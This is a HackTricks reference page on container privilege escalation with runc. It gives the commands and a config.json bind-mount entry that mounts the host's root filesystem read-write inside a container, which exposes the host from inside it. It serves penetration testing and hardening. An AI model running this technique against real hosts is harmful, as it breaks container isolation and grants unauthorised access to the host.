title: "RunC Privilege Escalation" section: "Linux" sectionSlug: "linux-hardening" sourcePath: "src/linux-hardening/containers-namespaces/runc-privilege-escalation.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/runc-privilege-escalation.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#
RunC Privilege Escalation#
Basic information#
If you want to learn more about runc check the following page:
PE#
If runc is available to a rootful process on the host, you can use an OCI bundle whose mount configuration recursively bind-mounts the host's / at / inside the container, exposing the host filesystem in that mount namespace.[1][2][3]
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
[!CAUTION] The documented
runc runworkflow is rootful: runc's own examples label it "run as root." An unprivileged user needs a rootless configuration such asrunc spec --rootless, and runc documents that user namespaces must be enabled for that mode.[1]